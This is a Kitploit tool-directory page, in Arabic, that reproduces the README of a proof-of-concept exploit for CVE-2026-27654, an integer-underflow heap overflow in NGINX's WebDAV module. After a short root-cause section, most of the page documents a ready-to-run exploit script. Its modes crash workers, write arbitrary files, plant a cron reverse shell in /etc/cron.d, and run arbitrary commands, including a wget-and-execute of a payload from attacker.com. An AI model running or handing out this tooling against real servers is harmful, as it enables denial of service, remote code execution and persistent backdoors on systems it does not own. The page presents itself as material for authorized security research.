Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-27654-PoC — إثبات المفهوم والتحليل الفني للثغرة CVE-2026-27654، وهي ثغرة تجاوز سعة المخزن المؤقت في الكومة في وحدة NGINX HTTP WebDAV، بما في ذلك تحليل السبب الجذري وإعادة الإنتاج وسبل التخفيف. | Kitploit
أدوات/GitHubGitHub/debajyoti0-0/cve-2026-27654-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولاتاستغلال الملفات الثنائية
GitHubdebajyoti0-0/cve-2026-27654-poc

CVE-2026-27654-PoC

إثبات المفهوم والتحليل الفني للثغرة CVE-2026-27654، وهي ثغرة تجاوز سعة المخزن المؤقت في الكومة في وحدة NGINX HTTP WebDAV، بما في ذلك تحليل السبب الجذري وإعادة الإنتاج وسبل التخفيف.

عرض المستودع
117منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
# CVE‑2026‑27654 – إثبات مفهوم لمعالجة مسار DAV Alias في وحدة ngx_http_dav_module في nginx

يوفر هذا المستودع استغلالاً لإثبات المفهوم (PoC) لثغرة **CVE‑2026‑27654**، وهي ثغرة تجاوز سعة الكومة (heap overflow) في وحدة `ngx_http_dav_module` الخاصة بـ nginx. ينشأ الخلل من تدفق سفلي لحجم `size_t` عند معالجة طلبات `MOVE`/`COPY` تحتوي على ترويسات `Destination` مصاغة بعناية ومواقع مبنية على `alias`.

> **⚠️ إخلاء مسؤولية:** هذه الأداة مخصّصة **للبحث والاختبار الأمني المصرّح به فقط**. استخدمها فقط ضد الأنظمة التي تملكها أو التي لديك إذن صريح باختبارها. لا يتحمّل المؤلفون أي مسؤولية عن سوء الاستخدام.

<p align="center">
<img src="https://raw.githubusercontent.com/Debajyoti0-0/CVE-2026-27654-PoC/main/Image.png" alt="شعار CVE-2026-27654">
</p>

## 🔥 نظرة عامة على الثغرة

**CVE-2026-27654** هي ثغرة **تجاوز سعة الكومة (heap overflow)** قابلة للتفعيل عن بُعد في وحدة NGINX HTTP WebDAV، ناتجة عن **تدفق سفلي لعدد صحيح (integer underflow)** في الدالة `ngx_http_dav_copy_move_handler()` (`src/http/modules/ngx_http_dav_module.c`). تحدث الثغرة عندما يُشتق طول URI الخاص بالوجهة بطرح بادئة الموقع المكوّنة من مسار ترويسة `Destination`. ونظراً لأن كلا المعاملين من النوع `size_t`، فإن مسار وجهة أقصر يتسبب في التفاف ناتج الطرح إلى قيمة غير موقّعة قريبة من الحد الأقصى.

يُستخدم الطول الملفوف لاحقاً كوسيط الحجم في `memcpy()`، مما يؤدي إلى كتابة خارج حدود الكومة تُفسد الذاكرة وتُنهي عملية NGINX العاملة (worker) فوراً. يمكن لمهاجم بعيد غير مصادق أن يثير هذه الحالة بشكل موثوق باستخدام طلب **MOVE** أو **COPY** واحد مصاغ بعناية يستهدف موقع WebDAV مرتبطاً بـ `alias`. وبينما تعيد عملية NGINX الرئيسية تلقائياً إنشاء العمال الفاشلين، يمكن للطلبات المتكررة إبقاء الخدمة في حلقة انهيار مستمرة للعمال، مما يؤدي إلى حرمان مستمر من الخدمة (`Denial-of-Service (DoS)`).

يؤكد AddressSanitizer (ASan) وجود الثغرة عبر خطأ `negative-size-param` في `memcpy()`، متتبعاً مسار التنفيذ من `ngx_http_dav_copy_move_handler()` إلى `ngx_http_core_module.c`. تؤثر الثغرة على **NGINX 0.5.13–1.28.2 (المستقر)** و**1.29.0–1.29.6 (الخط الرئيسي)** عند البناء باستخدام `--with-http_dav_module` وتكوينها باستخدام توجيه `alias`. تمت معالجة المشكلة في **NGINX 1.28.3** و**1.29.7** (الالتزام `ab4b5b8`، `PR #1210`) عبر التحقق السليم من طول مسار الوجهة المحسوب قبل عمليات الذاكرة.

## ✨ الميزات

- **اختيار الوضع التفاعلي** – اختر من بين أربعة أوضاع تشغيل في وقت التشغيل (crash، write-file، cron-shell، cron-cmd) عبر قائمة مرقّمة واضحة.
- **تفعيل الانهيار** – إرسال طلب `MOVE`/`COPY` القياسي الذي يثير التدفق السفلي لحجم `size_t` ويُنهي العامل المعرّض للثغرة.
- **وضع كتابة الملف (write-file)** – رفع محتوى عشوائي إلى أي موقع على نظام الملفات (يتطلب بيئة مختبرية بإعداد `alias` قابل للكتابة).
- **تسليم قشرة عكسية عبر cron (cron-shell)** – نشر وظيفة cron لقشرة عكسية في `/etc/cron.d/`، مع مطالبات تفاعلية لإدخال `LHOST`/`LPORT` وتذكير ببدء تشغيل المستمع.
- **تسليم أمر عبر cron (cron-cmd)** – تنفيذ أمر مخصص عبر cron؛ يقبل إما إدخالاً تفاعلياً أو علامة `--cron-command`.
- **فحص الثغرة** (`--check`) – وضع غير تفاعلي يشغّل اختبار الانهيار ويطبع نتيجة واضحة `[VULNERABLE]` / `[NOT VULNERABLE]`، ثم يخرج برمز 0 أو 1.
- **دعم وكيل HTTP** (`--proxy`) – توجيه جميع الطلبات عبر وكيل HTTP/HTTPS (مثل Burp Suite أو mitmproxy) لتصحيح الأخطاء أو فحص حركة المرور.
- **معالجة ذكية للملفات** – يتحقق مما إذا كان ملف التفعيل موجوداً بالفعل (عبر HEAD/GET) ويتخطى طلب PUT إذا كان موجوداً، متجنباً الرفع غير الضروري.
- **خيارات حمولة مرنة** – توفير الحمولات عبر `--payload-file` (ثنائي)، أو `--payload-text` (نص حرفي)، أو استخدام محتوى الاختبار الافتراضي.
- **وسائط سطر أوامر شاملة** – ضبط دقيق لكل جوانب الاستغلال: `--destination-path`، `--alias-len`، `--escape-depth`، `--method`، `--location-prefix`، والمزيد.
- **احتياطي متين** – إذا لم تكن مكتبة `requests` مثبتة، يلجأ السكربت إلى وحدة `http.client` القياسية في بايثون (دعم الوكيل معطّل في الوضع الاحتياطي).

## 📦 التثبيت

```bash
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
```

## 🚀 الاستخدام

### الوضع التفاعلي (قائمة)

```bash
python exploit.py --target 192.168.1.100:8080
```

ستظهر لك قائمة مرقّمة ويُطلب منك اختيار وضع.

### فحص الثغرة (غير تفاعلي)

```bash
python exploit.py --target 192.168.1.100:8080 --check
```

يفرض هذا تشغيل وضع **crash**، وينفّذ الاستغلال، ويطبع `[VULNERABLE]` أو `[NOT VULNERABLE]` قبل الخروج برمز `0` أو `1`.

### مع وكيل HTTP

```bash
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
```

ستُرسل جميع طلبات HTTP عبر الوكيل المحدد (مفيد لتصحيح الأخطاء باستخدام Burp).

## ⚙️ مرجع العلامات

| Flag | الوصف | مثال |
|------|-------------|---------|
| `--target HOST:PORT` | مثيل nginx الهدف (الافتراضي: `127.0.0.1:8080`). | `--target 10.0.0.5:80` |
| `--verbose`, `-v` | عرض استجابات HTTP الكاملة (الترويسات والمحتوى). | `-v` |
| `--no-put` | تخطي طلب PUT الأولي (افتراض أن ملف التفعيل موجود بالفعل). مفيد للاختبار المتكرر. | `--no-put` |
| `--location-prefix` | بادئة موقع DAV (الافتراضي: `/uploads/`). يجب أن تطابق موقع `alias` في إعداد nginx. | `--location-prefix /dav/` |
| `--remote-name` | اسم الملف المصدر البعيد الموجود داخل موقع DAV (الافتراضي: `triggerfile.txt`). | `--remote-name test.txt` |
| `--method {MOVE,COPY}` | طريقة DAV المستخدمة لطلب الوجهة (الافتراضي: `MOVE`). | `--method COPY` |
| `--destination-path` | مسار URI الوجهة – يُستخدم في حسابات الانهيار أو كمسار الملف النهائي في أوضاع التسليم. | `--destination-path /etc/cron.d/backdoor` |
| `--alias-len` | طول سلسلة `alias` المكوّنة (يُستخدم لعرض حسابات الانهيار، الافتراضي `13`). | `--alias-len 20` |
| `--escape-depth` | عدد مكونات المسار `../` اللازمة للهروب من جذر DAV (الافتراضي `1`). | `--escape-depth 3` |
| `--payload-file` | ملف محلي يُرفع كحمولة. يتجاوز محتوى الاختبار الافتراضي. | `--payload-file ./shell.php` |
| `--payload-text` | حمولة نصية حرفية لوضع `write-file`. | `--payload-text "<?php phpinfo(); ?>"` |
| `--lhost` | عنوان استدعاء القشرة العكسية (لوضع `cron-shell`). إذا حُذف، يطلب السكربت بشكل تفاعلي. | `--lhost 192.168.1.50` |
| `--lport` | منفذ استدعاء القشرة العكسية (لوضع `cron-shell`). | `--lport 4444` |
| `--cron-command` | الأمر المراد تنفيذه عبر cron (لوضع `cron-cmd`). إذا حُذف، يطلب السكربت بشكل تفاعلي. | `--cron-command "rm -rf /tmp/*"` |
| `--wait` | ثوانٍ الانتظار بعد تسليم cron لتنفيذ الوظيفة (الافتراضي `65`). | `--wait 120` |
| `--check` | تشغيل فحص الثغرة (اختبار الانهيار، غير تفاعلي). يطبع `VULNERABLE`/`NOT VULNERABLE` ويخرج برمز 0/1. | `--check` |
| `--proxy PROXY_URL` | عنوان وكيل HTTP/HTTPS (مثل `http://127.0.0.1:8080`). يتطلب مكتبة `requests`. | `--proxy http://127.0.0.1:8080` |

> **ملاحظة:** معظم العلامات اختيارية. سيطالب السكربت بالوسائط الإلزامية الناقصة (مثل `--lhost`/`--lport` لوضع `cron-shell`) إذا لم يتم توفيرها.

## 🧪 الأوضاع بالتفصيل

### 1. `crash`

يرسل طلب `MOVE` (أو `COPY`) المصاغ الذي يثير التدفق السفلي لحجم `size_t`. سينهار الخادم على مستوى عملية العامل. إذا كانت العملية الرئيسية مكوّنة بشكل صحيح، فستعيد إنشاء عامل جديد.

**مثال:**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
```

### 2. `write-file`

يرفع ملفاً إلى موقع عشوائي على نظام الملفات. يعمل هذا فقط إذا كان موقع DAV مدعوماً بـ `alias` يشير إلى دليل قابل للكتابة وكان مسار `Destination` مصاغاً للهروب من جذر DAV. **استخدمه فقط في بيئات المختبرات المصرّح بها.**

**مثال:**
```bash
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
```

### 3. `cron-shell`

يضع وظيفة cron لقشرة عكسية في `/etc/cron.d/`.  
عند اختيار هذا الوضع، سيطلب منك السكربت:
- **LHOST** – عنوان IP للاستماع الخاص بك
- **LPORT** – منفذ الاستماع الخاص بك

بعدها سيعرض أمر مستمع netcat وينتظر منك الضغط على **Enter** بمجرد تشغيل المستمع.

**مثال (معبأ مسبقاً):**
```bash
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
```

### 4. `cron-cmd`

يضع أمراً مخصصاً (يُقدَّم تفاعلياً أو عبر `--cron-command`) في `/etc/cron.d/`. هذا مفيد لتنفيذ أوامر نظام عشوائية.

**مثال (تفاعلي):**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
```

**مثال (معبأ مسبقاً):**
```bash
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
```

## 📝 سير عمل مثال (قشرة عكسية)

```bash
$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 3

Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444

[*] Please start your netcat listener in a new terminal:
    nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
```

## 📝 سير عمل مثال (تنفيذ أوامر)

يوضح هذا المثال استخدام `cron-cmd` لتنفيذ أمر على النظام المستهدف دون الحاجة إلى مستمع.

### الوضع التفاعلي

```bash
$ python exploit.py --target 192.168.1.100:8080

Available modes:
  1. crash        - Trigger the heap overflow crash
  2. write-file   - Write arbitrary content to an arbitrary location (authorized lab)
  3. cron-shell   - Deploy a reverse shell via /etc/cron.d
  4. cron-cmd     - Deploy a custom cron job

Select mode (number or name): 4

Enter the command to run in cron (--cron-command): id > /tmp/owned

... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
```

### معبأ مسبقاً (غير تفاعلي)

```bash
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
```

سيستخدم السكربت تلقائياً علامة `--cron-command` المقدمة ويتخطى المطالبة التفاعلية، مما يجعله مناسباً للأتمتة.

## 🛠️ بناء بيئة اختبار معرّضة للثغرة

لاختبار إثبات المفهوم هذا في بيئة خاضعة للتحكم، يمكنك بناء nginx من المصدر باستخدام `--with-http_dav_module` وتكوين موقع باستخدام `alias` و`dav_methods`. يتضمن المستودع إعداد Docker نموذجياً (قريباً).

## المراجع

- https://nginx.org/en/security_advisories.html
- https://github.com/nginx/nginx/commit/ab4b5b8
- https://github.com/nginx/nginx/pull/1210

## 📜 الترخيص

هذا المشروع مرخّص بموجب رخصة GNU v3.0 – راجع ملف [LICENSE](https://github.com/debajyoti0-0/cve-2026-27654-poc/blob/main/LICENSE) للتفاصيل.

## 🤝 المساهمة

نرحب بالإبلاغ عن المشكلات (Issues) وطلبات السحب (Pull Requests). يرجى التأكد من التزام مساهماتك بنفس إرشادات الاستخدام الأخلاقية.

>**تذكّر:** احصل دائماً على التصريح المناسب قبل اختبار أي أداة أمنية. كن أخلاقياً!
تنزيل الأداة